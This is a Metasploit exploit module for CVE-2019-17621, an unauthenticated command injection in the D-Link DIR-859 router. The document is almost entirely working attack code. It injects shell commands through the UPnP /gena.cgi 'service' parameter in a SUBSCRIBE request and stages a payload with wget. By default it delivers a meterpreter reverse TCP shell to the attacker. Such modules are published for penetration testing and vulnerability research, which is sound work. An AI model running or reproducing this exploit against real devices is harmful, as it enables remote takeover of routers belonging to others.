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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',
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        'Description' => %q{
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          D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP
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          interface. The vulnerability exists in /gena.cgi (function genacgi_main() in
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          /htdocs/cgibin), which is accessible without credentials.
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        },
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        'Author' => [
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          'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit
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          'Pablo Pollanco P.' # Vulnerability discovery and metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2019-17621' ],
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          [ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]
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        ],
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        'DisclosureDate' => '2019-12-24',
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        'Privileged' => true,
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        'Platform' => 'linux',
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        'Arch' => ARCH_MIPSBE,
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        'DefaultOptions' => {
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          'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
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          'CMDSTAGER::FLAVOR' => 'wget',
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          'RPORT' => '49152'
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        },
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        'Targets' => [
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          [ 'Automatic',	{} ],
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        ],
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        'CmdStagerFlavor' => %w[echo wget],
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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  end
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  def execute_command(cmd, _opts)
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    callback_uri = 'http://192.168.0.' + Rex::Text.rand_text_hex(2).to_i(16).to_s +
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                   ':' + Rex::Text.rand_text_hex(4).to_i(16).to_s +
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                   '/' + Rex::Text.rand_text_alpha(3..12)
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    send_request_raw({
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      'uri'	=> "/gena.cgi?service=`#{cmd}`",
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      'method' =>	'SUBSCRIBE',
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      'headers' =>
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      {
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        'Callback' => "<#{callback_uri}>",
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        'NT' => 'upnp:event',
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        'Timeout' => 'Second-1800'
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      }
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    })
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  rescue ::Rex::ConnectionError
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    fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
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  end
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  def exploit
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    execute_cmdstager(linemax: 500)
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  end
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end
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